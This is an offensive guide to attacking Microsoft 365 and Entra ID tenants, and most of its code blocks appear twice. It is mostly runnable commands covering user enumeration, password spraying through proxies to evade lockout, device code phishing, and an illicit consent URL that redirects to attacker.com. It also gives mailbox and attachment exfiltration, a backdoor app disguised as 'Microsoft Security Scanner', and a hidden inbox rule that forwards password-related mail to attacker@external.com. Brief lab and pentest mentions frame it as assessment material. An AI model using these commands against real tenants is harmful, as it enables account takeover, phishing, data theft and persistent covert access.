SaaS Security (M365 & Entra ID)
Microsoft 365 and Entra ID (formerly Azure AD) are the identity backbone of most enterprises. Compromising these services often leads to full mailbox access, SharePoint exfiltration, and lateral movement into Azure subscriptions and on-premises Active Directory.
Warning
M365 / Entra ID Attack Kill Chain
Reconnaissance & Enumeration
Tenant Validation & Discovery
Before any attack, confirm the target uses M365/Entra ID and identify the tenant ID.
# Validate domain uses M365 (check OpenID configuration)
curl -s "https://login.microsoftonline.com/target.com/.well-known/openid-configuration" | jq '.tenant_id // "Not an M365 tenant"'
# Get tenant ID from domain
curl -s "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration" | jq -r '.issuer'
# Check autodiscover (confirms Exchange Online)
curl -s -o /dev/null -w "%{http_code}" "https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc" -H "Host: autodiscover.target.com"
# Enumerate tenant via AADInternals (PowerShell)
Import-Module AADInternals
Get-AADIntTenantID -Domain target.com
Get-AADIntLoginInformation -Domain target.com# Validate domain uses M365 (check OpenID configuration)
curl -s "https://login.microsoftonline.com/target.com/.well-known/openid-configuration" | jq '.tenant_id // "Not an M365 tenant"'
# Get tenant ID from domain
curl -s "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration" | jq -r '.issuer'
# Check autodiscover (confirms Exchange Online)
curl -s -o /dev/null -w "%{http_code}" "https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc" -H "Host: autodiscover.target.com"
# Enumerate tenant via AADInternals (PowerShell)
Import-Module AADInternals
Get-AADIntTenantID -Domain target.com
Get-AADIntLoginInformation -Domain target.comUser Enumeration
Identify valid email addresses using timing differences and specific error messages in Microsoft login endpoints. These techniques work without authentication.
# O365Spray — validate domain and enumerate users
python3 o365spray.py --validate --domain target.com
python3 o365spray.py --enum -U users.txt --domain target.com
# TREVORspray — recon and user enumeration
trevorspray --recon target.com
trevorspray --enum -u users.txt --domain target.com
# AADInternals — user enumeration via multiple methods
Import-Module AADInternals
# Method 1: GetCredentialType API (fast, no lockout)
Invoke-AADIntUserEnumerationAsOutsider -UserNameList users.txt -Method GetCredentialType
# Method 2: Autodiscover (works even when GetCredentialType is disabled)
Invoke-AADIntUserEnumerationAsOutsider -UserNameList users.txt -Method Autodiscover
# TeamFiltration — enumerate via Microsoft Teams API
TeamFiltration.exe --enum --domain target.com --userfile users.txt# O365Spray — validate domain and enumerate users
python3 o365spray.py --validate --domain target.com
python3 o365spray.py --enum -U users.txt --domain target.com
# TREVORspray — recon and user enumeration
trevorspray --recon target.com
trevorspray --enum -u users.txt --domain target.com
# AADInternals — user enumeration via multiple methods
Import-Module AADInternals
# Method 1: GetCredentialType API (fast, no lockout)
Invoke-AADIntUserEnumerationAsOutsider -UserNameList users.txt -Method GetCredentialType
# Method 2: Autodiscover (works even when GetCredentialType is disabled)
Invoke-AADIntUserEnumerationAsOutsider -UserNameList users.txt -Method Autodiscover
# TeamFiltration — enumerate via Microsoft Teams API
TeamFiltration.exe --enum --domain target.com --userfile users.txtInitial Access
Password Spraying
Warning
# MSOLSpray — classic M365 password spray
Import-Module MSOLSpray.ps1
Invoke-MSOLSpray -UserList users.txt -Password "Summer2025!" -URL "https://login.microsoftonline.com"
# TREVORspray — distributed spray with SOCKS proxies (evades IP lockout)
trevorspray -u users.txt -p "Summer2025!" --delay 4200 --jitter 10 \
--ssh user@proxy1:22 user@proxy2:22 user@proxy3:22
# O365Spray — spray with wait between attempts
python3 o365spray.py --spray -U users.txt -P passwords.txt --domain target.com --rate 1 --safe 70
# MFASweep — identify accounts without MFA after successful password spray
Import-Module MFASweep.ps1
Invoke-MFASweep -Username user@target.com -Password "Summer2025!"# MSOLSpray — classic M365 password spray
Import-Module MSOLSpray.ps1
Invoke-MSOLSpray -UserList users.txt -Password "Summer2025!" -URL "https://login.microsoftonline.com"
# TREVORspray — distributed spray with SOCKS proxies (evades IP lockout)
trevorspray -u users.txt -p "Summer2025!" --delay 4200 --jitter 10 \
--ssh user@proxy1:22 user@proxy2:22 user@proxy3:22
# O365Spray — spray with wait between attempts
python3 o365spray.py --spray -U users.txt -P passwords.txt --domain target.com --rate 1 --safe 70
# MFASweep — identify accounts without MFA after successful password spray
Import-Module MFASweep.ps1
Invoke-MFASweep -Username user@target.com -Password "Summer2025!"Device Code Phishing
The OAuth 2.0 device code flow is designed for input-constrained devices. Attackers abuse it by generating a device code, sending the user-facing URL to a victim, and capturing their tokens when they authenticate. This bypasses MFA since the user completes normal authentication.
Device Code Phishing Flow
# TokenTactics — device code phishing for M365 tokens
Import-Module TokenTactics.psd1
# Step 1: Generate device code (send the URL to victim)
$DeviceCode = Get-DeviceCodeFlow -Client MSGraph
# Output: "To sign in, use a web browser to open https://microsoft.com/devicelogin and enter code XXXXXXXX"
# Step 2: Wait for victim to authenticate (poll for tokens)
$Tokens = Wait-DeviceCodeFlow -DeviceCode $DeviceCode
# Step 3: Use the captured tokens
$Tokens.access_token # JWT for Microsoft Graph
$Tokens.refresh_token # Long-lived — use to get new access tokens
# Step 4: Access victim's data via Graph API
$Headers = @{ Authorization = "Bearer $($Tokens.access_token)" }
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me" -Headers $Headers
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages?$top=50" -Headers $Headers
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/drive/root/children" -Headers $Headers# TokenTactics — device code phishing for M365 tokens
Import-Module TokenTactics.psd1
# Step 1: Generate device code (send the URL to victim)
$DeviceCode = Get-DeviceCodeFlow -Client MSGraph
# Output: "To sign in, use a web browser to open https://microsoft.com/devicelogin and enter code XXXXXXXX"
# Step 2: Wait for victim to authenticate (poll for tokens)
$Tokens = Wait-DeviceCodeFlow -DeviceCode $DeviceCode
# Step 3: Use the captured tokens
$Tokens.access_token # JWT for Microsoft Graph
$Tokens.refresh_token # Long-lived — use to get new access tokens
# Step 4: Access victim's data via Graph API
$Headers = @{ Authorization = "Bearer $($Tokens.access_token)" }
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me" -Headers $Headers
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages?$top=50" -Headers $Headers
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/drive/root/children" -Headers $HeadersIllicit Consent Grant (OAuth Phishing)
Register a malicious app that requests high-privilege permissions (Mail.Read, Files.ReadWrite.All). Trick a user or admin into granting consent. Once consented, the app has persistent access to their data.
# 365-Stealer — automated illicit consent grant attack
# 1. Register app in attacker-controlled tenant with redirect URI
# 2. Craft consent URL:
$consentUrl = "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?" +
"client_id=<ATTACKER_APP_ID>" +
"&response_type=code" +
"&redirect_uri=https://attacker.com/callback" +
"&scope=openid+profile+Mail.Read+Files.ReadWrite.All+offline_access" +
"&response_mode=query"
# 3. Send $consentUrl to victim (phishing email / Teams message)
# 4. Victim clicks "Accept" → attacker gets auth code → exchange for tokens
# GraphRunner — post-consent exploitation
Import-Module GraphRunner.ps1
# Dump all accessible emails
Invoke-GraphRunner -AccessToken $token -Module DumpMail
# Dump OneDrive/SharePoint files
Invoke-GraphRunner -AccessToken $token -Module DumpFiles# 365-Stealer — automated illicit consent grant attack
# 1. Register app in attacker-controlled tenant with redirect URI
# 2. Craft consent URL:
$consentUrl = "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?" +
"client_id=<ATTACKER_APP_ID>" +
"&response_type=code" +
"&redirect_uri=https://attacker.com/callback" +
"&scope=openid+profile+Mail.Read+Files.ReadWrite.All+offline_access" +
"&response_mode=query"
# 3. Send $consentUrl to victim (phishing email / Teams message)
# 4. Victim clicks "Accept" → attacker gets auth code → exchange for tokens
# GraphRunner — post-consent exploitation
Import-Module GraphRunner.ps1
# Dump all accessible emails
Invoke-GraphRunner -AccessToken $token -Module DumpMail
# Dump OneDrive/SharePoint files
Invoke-GraphRunner -AccessToken $token -Module DumpFilesConditional Access Bypass
Conditional Access Policies (CAPs) are the primary defense layer in Entra ID. Understanding their gaps is critical for assessments.
Common CAP Gaps
- • Legacy auth protocols not blocked (IMAP, POP3, SMTP AUTH)
- • IPv6 addresses not included in named locations
- • Service principals excluded from MFA policies
- • Break-glass accounts overprivileged and poorly monitored
- • Device compliance only on "All Apps" not enforced on all client apps
Bypass Techniques
- • User-Agent spoofing: legacy clients like
BAV2ROPC - • IPv6 tunneling: bypass IPv4-only named location rules
- • Device code flow: victim authenticates, bypasses location policy
- • ROPC flow: Resource Owner Password Credential (if legacy auth enabled)
- • Token replay: use captured PRT from compliant device
# Test for legacy auth protocols (IMAP/POP3/SMTP)
# If Conditional Access doesn't block these, passwords work without MFA
Import-Module MFASweep.ps1
Invoke-MFASweep -Username user@target.com -Password "Password123"
# Tests: ActiveSync, Autodiscover, MAPI, EWS, OWA, ROPC, EAS
# ROPC flow — authenticate without interactive login (bypasses device-based CA)
$body = @{
grant_type = "password"
username = "user@target.com"
password = "Password123"
client_id = "1b730954-1685-4b74-9bfd-dac224a7b894" # Azure PowerShell
scope = "https://graph.microsoft.com/.default"
}
$response = Invoke-RestMethod -Method Post \
-Uri "https://login.microsoftonline.com/target.com/oauth2/v2.0/token" \
-Body $body
$response.access_token# Test for legacy auth protocols (IMAP/POP3/SMTP)
# If Conditional Access doesn't block these, passwords work without MFA
Import-Module MFASweep.ps1
Invoke-MFASweep -Username user@target.com -Password "Password123"
# Tests: ActiveSync, Autodiscover, MAPI, EWS, OWA, ROPC, EAS
# ROPC flow — authenticate without interactive login (bypasses device-based CA)
$body = @{
grant_type = "password"
username = "user@target.com"
password = "Password123"
client_id = "1b730954-1685-4b74-9bfd-dac224a7b894" # Azure PowerShell
scope = "https://graph.microsoft.com/.default"
}
$response = Invoke-RestMethod -Method Post \
-Uri "https://login.microsoftonline.com/target.com/oauth2/v2.0/token" \
-Body $body
$response.access_tokenPost-Exploitation
Email & Data Exfiltration
# Microsoft Graph API — read emails
$headers = @{ Authorization = "Bearer $accessToken" }
# Get recent messages
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages?$top=100&$select=subject,from,receivedDateTime" \
-Headers $headers | Select-Object -ExpandProperty value | Format-Table
# Search for sensitive keywords across mailbox
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages?$search="password OR secret OR credential"" \
-Headers $headers
# Download all attachments
$messages = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages?$filter=hasAttachments eq true&$top=50" \
-Headers $headers).value
foreach ($msg in $messages) {
$attachments = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages/$($msg.id)/attachments" \
-Headers $headers).value
foreach ($att in $attachments) {
[IO.File]::WriteAllBytes("./exfil/$($att.name)", [Convert]::FromBase64String($att.contentBytes))
}
}
# Download OneDrive files
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/drive/root/children" -Headers $headers# Microsoft Graph API — read emails
$headers = @{ Authorization = "Bearer $accessToken" }
# Get recent messages
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages?$top=100&$select=subject,from,receivedDateTime" \
-Headers $headers | Select-Object -ExpandProperty value | Format-Table
# Search for sensitive keywords across mailbox
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages?$search="password OR secret OR credential"" \
-Headers $headers
# Download all attachments
$messages = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages?$filter=hasAttachments eq true&$top=50" \
-Headers $headers).value
foreach ($msg in $messages) {
$attachments = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages/$($msg.id)/attachments" \
-Headers $headers).value
foreach ($att in $attachments) {
[IO.File]::WriteAllBytes("./exfil/$($att.name)", [Convert]::FromBase64String($att.contentBytes))
}
}
# Download OneDrive files
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/drive/root/children" -Headers $headersSharePoint & Teams Enumeration
# Enumerate SharePoint sites accessible to compromised user
$headers = @{ Authorization = "Bearer $accessToken" }
$sites = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/sites?search=*" -Headers $headers).value
$sites | ForEach-Object { Write-Host "$($_.displayName) — $($_.webUrl)" }
# Enumerate Teams and channels
$teams = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/joinedTeams" -Headers $headers).value
foreach ($team in $teams) {
Write-Host "[Team] $($team.displayName)"
$channels = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/teams/$($team.id)/channels" -Headers $headers).value
foreach ($ch in $channels) { Write-Host " [Channel] $($ch.displayName)" }
}
# Search across all M365 content (requires Search.Read.All)
$searchBody = @{
requests = @(@{
entityTypes = @("message", "driveItem", "listItem", "site")
query = @{ queryString = "password OR secret OR API key" }
from = 0; size = 25
})
} | ConvertTo-Json -Depth 5
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/search/query" -Headers $headers -Method Post \
-Body $searchBody -ContentType "application/json"# Enumerate SharePoint sites accessible to compromised user
$headers = @{ Authorization = "Bearer $accessToken" }
$sites = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/sites?search=*" -Headers $headers).value
$sites | ForEach-Object { Write-Host "$($_.displayName) — $($_.webUrl)" }
# Enumerate Teams and channels
$teams = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/joinedTeams" -Headers $headers).value
foreach ($team in $teams) {
Write-Host "[Team] $($team.displayName)"
$channels = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/teams/$($team.id)/channels" -Headers $headers).value
foreach ($ch in $channels) { Write-Host " [Channel] $($ch.displayName)" }
}
# Search across all M365 content (requires Search.Read.All)
$searchBody = @{
requests = @(@{
entityTypes = @("message", "driveItem", "listItem", "site")
query = @{ queryString = "password OR secret OR API key" }
from = 0; size = 25
})
} | ConvertTo-Json -Depth 5
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/search/query" -Headers $headers -Method Post \
-Body $searchBody -ContentType "application/json"eDiscovery (Compliance Search)
If the compromised account has eDiscovery Manager or Compliance Administrator role, you can search all mailboxes, SharePoint sites, and Teams conversations in the tenant.
# Connect to Security & Compliance center
Connect-IPPSSession -UserPrincipalName admin@target.com
# Create a compliance search across all mailboxes
New-ComplianceSearch -Name "PenTest-Search" -ExchangeLocation All \
-ContentMatchQuery '(subject:"password" OR body:"API key" OR body:"secret")'
Start-ComplianceSearch -Identity "PenTest-Search"
# Check status and preview results
Get-ComplianceSearch -Identity "PenTest-Search" | Format-List Name, Status, Items
# Export results (requires eDiscovery Manager role)
New-ComplianceSearchAction -SearchName "PenTest-Search" -Export -Format FxStream
# Clean up after assessment
Remove-ComplianceSearch -Identity "PenTest-Search" -Confirm:$false# Connect to Security & Compliance center
Connect-IPPSSession -UserPrincipalName admin@target.com
# Create a compliance search across all mailboxes
New-ComplianceSearch -Name "PenTest-Search" -ExchangeLocation All \
-ContentMatchQuery '(subject:"password" OR body:"API key" OR body:"secret")'
Start-ComplianceSearch -Identity "PenTest-Search"
# Check status and preview results
Get-ComplianceSearch -Identity "PenTest-Search" | Format-List Name, Status, Items
# Export results (requires eDiscovery Manager role)
New-ComplianceSearchAction -SearchName "PenTest-Search" -Export -Format FxStream
# Clean up after assessment
Remove-ComplianceSearch -Identity "PenTest-Search" -Confirm:$falsePersistence Techniques
App Registration Backdoor
Register app with Mail.Read + Files.Read.All, add client secret. Survives password resets.
Federation Trust
Add attacker-controlled IDP as federated domain. Mint SAML tokens for any user.
Inbox Rule Persistence
Create hidden inbox rule that forwards sensitive emails to external address.
Admin Consent Grant
Grant tenant-wide consent to attacker app. Reads all users' mail without per-user auth.
# App Registration backdoor — create a persistent application credential
# Step 1: Register a new application (requires Application.ReadWrite.All)
$app = New-AzADApplication -DisplayName "Microsoft Security Scanner" \
-ReplyUrls "https://localhost"
# Step 2: Add a client secret (valid for 2 years)
$secret = New-AzADAppCredential -ObjectId $app.Id -EndDate (Get-Date).AddYears(2)
Write-Host "App ID: $($app.AppId)"
Write-Host "Secret: $($secret.SecretText)"
# Step 3: Grant API permissions (Graph: Mail.Read, Files.Read.All)
Add-AzADAppPermission -ObjectId $app.Id -ApiId "00000003-0000-0000-c000-000000000000" \
-Type Role -PermissionId "810c84a8-4a9e-49e6-bf7d-12d183f40d01" # Mail.Read
Add-AzADAppPermission -ObjectId $app.Id -ApiId "00000003-0000-0000-c000-000000000000" \
-Type Role -PermissionId "01d4f6a5-1c69-403b-a2e3-0e5ee53e6a27" # Files.Read.All
# Step 4: Grant admin consent (if you have Global Admin)
# Navigate to: https://login.microsoftonline.com/{tenant}/adminconsent?client_id={app_id}
# Inbox Rule persistence — hidden email forwarding
New-InboxRule -Name "." -Mailbox victim@target.com \
-ForwardTo "attacker@external.com" \
-SubjectContainsWords "password","secret","credentials" \
-MarkAsRead# App Registration backdoor — create a persistent application credential
# Step 1: Register a new application (requires Application.ReadWrite.All)
$app = New-AzADApplication -DisplayName "Microsoft Security Scanner" \
-ReplyUrls "https://localhost"
# Step 2: Add a client secret (valid for 2 years)
$secret = New-AzADAppCredential -ObjectId $app.Id -EndDate (Get-Date).AddYears(2)
Write-Host "App ID: $($app.AppId)"
Write-Host "Secret: $($secret.SecretText)"
# Step 3: Grant API permissions (Graph: Mail.Read, Files.Read.All)
Add-AzADAppPermission -ObjectId $app.Id -ApiId "00000003-0000-0000-c000-000000000000" \
-Type Role -PermissionId "810c84a8-4a9e-49e6-bf7d-12d183f40d01" # Mail.Read
Add-AzADAppPermission -ObjectId $app.Id -ApiId "00000003-0000-0000-c000-000000000000" \
-Type Role -PermissionId "01d4f6a5-1c69-403b-a2e3-0e5ee53e6a27" # Files.Read.All
# Step 4: Grant admin consent (if you have Global Admin)
# Navigate to: https://login.microsoftonline.com/{tenant}/adminconsent?client_id={app_id}
# Inbox Rule persistence — hidden email forwarding
New-InboxRule -Name "." -Mailbox victim@target.com \
-ForwardTo "attacker@external.com" \
-SubjectContainsWords "password","secret","credentials" \
-MarkAsReadM365 / Entra ID Tools
| Tool | Category | Best For |
|---|---|---|
| AADInternals | Enumeration / Exploitation | Tenant recon, token manipulation, federation abuse |
| ROADtools | Enumeration | Full Entra ID dump, interactive GUI explorer |
| GraphRunner | Post-Exploitation | Graph API abuse, mail/file dump, permission enum |
| TokenTactics | Token Abuse | Device code phishing, token refresh, CAE bypass |
| MFASweep | Authentication | Identify accounts/protocols without MFA |
| TeamFiltration | Enumeration / Spray | Teams-based user enum, message exfil |
| TREVORspray | Password Spray | Distributed spray via SSH proxies |
| ScubaGear | Auditing | CISA M365 secure configuration assessment |
M365 / Entra ID Labs
Practice Microsoft 365 attack techniques in safe lab environments.